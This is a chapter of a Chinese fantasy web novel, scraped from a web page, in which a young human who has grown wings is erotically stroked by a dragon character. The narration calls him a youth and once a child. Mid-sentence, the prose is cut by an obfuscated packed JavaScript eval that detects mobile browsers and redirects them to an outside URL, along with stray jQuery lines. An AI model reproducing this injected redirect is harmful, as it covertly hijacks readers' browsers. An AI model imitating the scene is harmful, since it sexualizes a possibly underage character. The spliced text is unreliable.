6. chapter6

墨裕安绕过办公桌,走到格洛里昂的面前,垂眸单手将对方的下巴掰过来。


“什么时候主神大人连我的话都不听了?”


主神大人四个字,没有了这个职位本该有的权威。


“主人……对不起……”


格洛里昂的声音虚弱,一边说着话,嘴角还有鲜血流着。他的嘴唇乌紫,被沈时舟剥夺神力的特殊技能伤得不轻。


他的身体没有了神力的支撑,只剩下一具空壳。


“还给我。”格洛里昂眼神埋怨地往沈时舟看过去。


沈时舟后背的两片翅膀默默盖到面前来,边缘的羽毛彼此交叉着,像两扇门一样闭合上,结结实实地挡住了主神大人的目光。他的另一只手捂着发紫僵硬的手,让冻伤的手慢慢回温。


如果不是格洛里昂执意探知他的精神污染数值,冻伤他的手,他的身体也不会在应激的状态开启保护机制。


沈时舟大概有点明白了,共鸣这种技能应该与他受到危险的状态有关。


两片羽翼不是精神体,不和黑狼一样是寄居于沈时舟身体里的生命,更像是与神力共鸣之后从沈时舟身体里凭空长出来的器官。


它不是活物,更像是神力的外化,没有自我意识,就算听到格洛里昂的召唤也回不去。


隔着两片翅膀,沈时舟听见外面传来格洛里昂气急败坏的喊声:“你是一个连精神力都没法聚集的人类,最后也会因为承受不住死掉的!”


沈时舟从羽毛交叉的地方拨开一个缝隙,只露出一双亮亮的眼睛。


“谁想要了……明明是它自己跑到我的身体里的……”沈时舟不满地小声嘟囔。


他的后背不太舒服,新长出来的器官连接处如同烈火灼烧一般疼痛,而冻伤的手心却往他的手臂上传来刺骨的冰凉。一冷一热的感觉并不好受,但他又驱赶不走身体里涌动的力量。


别说还给格洛里昂这件事。


墨裕安叹了口气,单手揉了揉发疼的太阳穴,“你先出去,我再想办法。”


来接沈时舟的人是封澈,他看着少年后背陌生的白色羽翼,目光忍不住细细打量了过去。


半合的羽翼下垂着,下摆的尖端距离地面只有很短的距离。柔软的羽毛覆盖在表面,亮洁如新的白色微微反射着缎光。沈时舟显然也还没有适应新生的羽翼,将它往内收着,羞涩地合在一起。


“走吧,先回房间休息。”封澈咽了口唾沫,出声说道。


沈时舟有点恍惚,后背的灼热愈演愈烈。他茫然地向人伸出了手,紫红色的手背触目惊心。


封澈的目光一下子冰冷,侧头向坐在主位上的主神大人看了过去。


“我会好好罚他的,先带舟舟出去。”墨裕安及时打算了封澈暗暗滋生的敌意。


格洛里昂抓着座椅把柄的手明显用力,手腕上青筋显目,微微抖着。他的眼神躲闪,却没有说出任何话求饶。


求饶不是一个明智的选择。


“是,院长大人。”封澈对墨裕安庞大且复杂的后院向来不感兴趣。


房间里封澈半跪在沈时舟面前,仔仔细细地在他的手上涂好特制的冻伤药,一圈一圈地裹好绷带,系上一个结。


“好些了吗?”封澈握着他的手,半仰起头问道。


沈时舟摇了摇头,哑哑的嗓音说道:“不太……”


红晕染上了他的脸颊,额间细密的汗珠湿润了浅粉色的额发,一缕一缕地贴在皮肤上。他的双眸里蒙着一层晶莹的眼泪,泪眼朦胧地看着眼前的人。


“很难受吗?哪里?”封澈语气急切地问道。


翅羽往内合拢,搭在沈时舟的肩上。他的另一只手紧攥着上衣的衣摆,难言的不适从后背蔓延到全身。


酥酥/痒痒的,令他坐立难安。


他想用手挠挠长出翅膀的连接处,却无奈手臂没有长到能够抱住自己的程度,只能抓挠周围发烫的皮肤,发出声声难耐的低叹。


沈时舟整个人蜷缩成一团,逐渐被抽走的力气让他连坐着都在晃。他往前一倒,稳稳地落在封澈的怀里。


“舟舟……”没有被允许叫“主人”的封澈被特许了这个亲昵的称呼。


落入怀中的少年烫得吓人,人类难以承受神力的身体细细地抖着。


封澈的手背贴上了沈时舟的额头,滚烫的温度快要把这孩子烧坏了。


“我去拿退烧药。”


沈时舟的额头贴上封澈的颈窝,比身体低了很多的温度很舒服,他本能地往人的颈窝上蹭了蹭,像只粘人的小猫。


“不吃药……翅膀不舒服……”


已经意识不太清醒的沈时舟伸手抱住了封澈的腰,带着哭腔的声音轻声请求道:“帮帮我吧……我碰不到……”


沈时舟大概是真的很难受,滚烫的额头抵着埋在人的胸口,眼泪湿润了衣襟。


小少年缩在怀里抖,将眼泪蹭到衣服上的杀伤力,让封澈精神力波动,脖子上迅速生出冰凉的龙麟,墨青色的龙尾盘在地上。


远低于正常体温的龙麟对于沈时舟而言更舒适了,他舒服得低叹,热热的气息打在龙麟的表面。他往人身上贴得更紧了,整个人都黏在了龙的身上。


两人大概都是在烈火焚身。


封澈冰凉的手贴上了少年的后背,在触碰到发红的连接处时,听见怀里的人一声低低的喘息。他握住了新生的白翼,粗长的手指摩挲着翅膀连接的根端。


合拢的翅膀往外张开,一层羽毛都没有掩盖住发烫的温度。沈时舟攥着人胸口处的衣服,猛然的刺激让他哭出了声。


“呜嗯……轻,轻轻的……封澈,对我温柔一点……”


封澈绝对已经非常非常轻柔了,却没想到这两片新生的翅羽如此敏感,还是让怀里的人掉了眼泪。他理应是心疼的,但胸口处被眼泪濡湿的布料,却如同一针兴奋剂一般点燃了周遭的温度。


“我很轻了。”


他这样哄着,手指间的力道却加重了几分,按过硬硬的羽骨,手指打着圈按揉着被羽毛覆盖的表面。


“呜……嗬啊,不要……好奇怪,不要了……”


接受了刺激的翅膀张开,分明是迎合了人的手指,兴奋地扇动起来。全身无力的少年软在人的怀里,就算是把人往外推也用不了多少力气。异样的苏爽从翅膀上传来,挑动着神


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228254|165900||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


经,在皮肤表面传来苏痒。


封澈搂过他的腰,让他整个坐在他单膝跪立的腿上,靠在自己的怀里。纤弱的腰在他的臂弯里抖着,哭得动情的胸口大幅度起伏,有节奏地贴在他的身上又分开。


一下又一下,像是撞到了他的心上。


“别哭,这样不喜欢吗?”


封澈停了下来,搭在翅膀上的手放在了沈时舟的后颈处。


备受安慰的翅膀一下子落了空,刚刚转化成爽感的不适加倍涌上来。沈时舟难耐地抽泣着,眼泪全部抹到了冰凉的龙麟上。


“你……你很过分……”


不安的翅膀扇动了一下,迎面带来了一阵风,扑到封澈的脸上。沈时舟吸了吸鼻子,委屈和难耐让他哭得不停,粘人的哭腔忿忿控诉:“你明明……知道,不该停的……”


封澈快要陷在少年流不完的眼泪里了。他温柔地用手擦掉沈时舟脸上的泪痕,笑容更深了:


“所以,要也是要,不要也是要吗?”


沈时舟被逗得耳根发红,气恼地要从他的身上逃离,努力转身爬上自己的床,念念有词:“龙一点都不好……我要去找狼……”


那根导火索一下子被点燃了。


封澈拽住了他的翅羽,将他往自己的怀里带,单手牵制住他的腰身。醋意大发的人将手指插进翅膀末端羽毛的间隙,穿过羽毛握住了脆弱的软骨。


“呃啊……!”沈时舟惊呼出声,如同被人禁锢飞羽的天使,泛着泪光的双眸里闪动着情.。他的腰软下来,被人握在手心里,情不自禁地战栗着。


洁白的翅膀是最圣洁纯净的象征,却无比诱人地成为最敏感的器官,一旦被人握在手心,就难以自抑地陷入一阵阵舒爽之中。


封澈从后面抱着他,身上被羽毛的最尖端划出不少血痕,却丝毫没有松开的意思,反而更变本加厉地揉捏脆弱的翅膀。


“舟舟刚刚说找谁?”


沈时舟被揉得大脑一片空白,身体的各处都像坏掉一般止不住痉挛。沉浸于此的他根本听不清问话,只顾着软声喘息,动情地低呜。


谁都一样。


封澈的呼吸更重一些,一边被少年软软甜甜的嗓音勾着,一边深深妒忌着。


少年失焦的瞳孔蒙上一层眼泪,哭红的眼尾是最艳丽的嫣色。


甚至,沈时舟现在分辨不出自己身后的人是谁。


他的衣摆湿润了,后背的汗水打湿了破损的衣服,彻底迷失在翅羽上带来的无尽欢愉里。


衣摆一次又一次被打湿。


揉捏翅膀的爽感确实能覆盖掉共鸣时的疼痛,盖过生长痛的是被人按揉翅膀带来的高.。


神力还在冲撞他的身体,他也在很努力地与神力共鸣。小小的凡人之躯最终也难以抵挡猛烈的感受,精疲力尽地昏厥过去。


“舟舟?”


回应封澈的变成了沉重的呼吸声。


沈时舟脱力地倒在人怀里,翅羽无力地扇动了几下,安安静静地垂落着。他的脸上还挂着泪珠,未尽的情愫让他的脸颊依旧滚烫。


湿透的破衣服粘在身上,半透明地透出浸透情愫而粉粉的皮肤。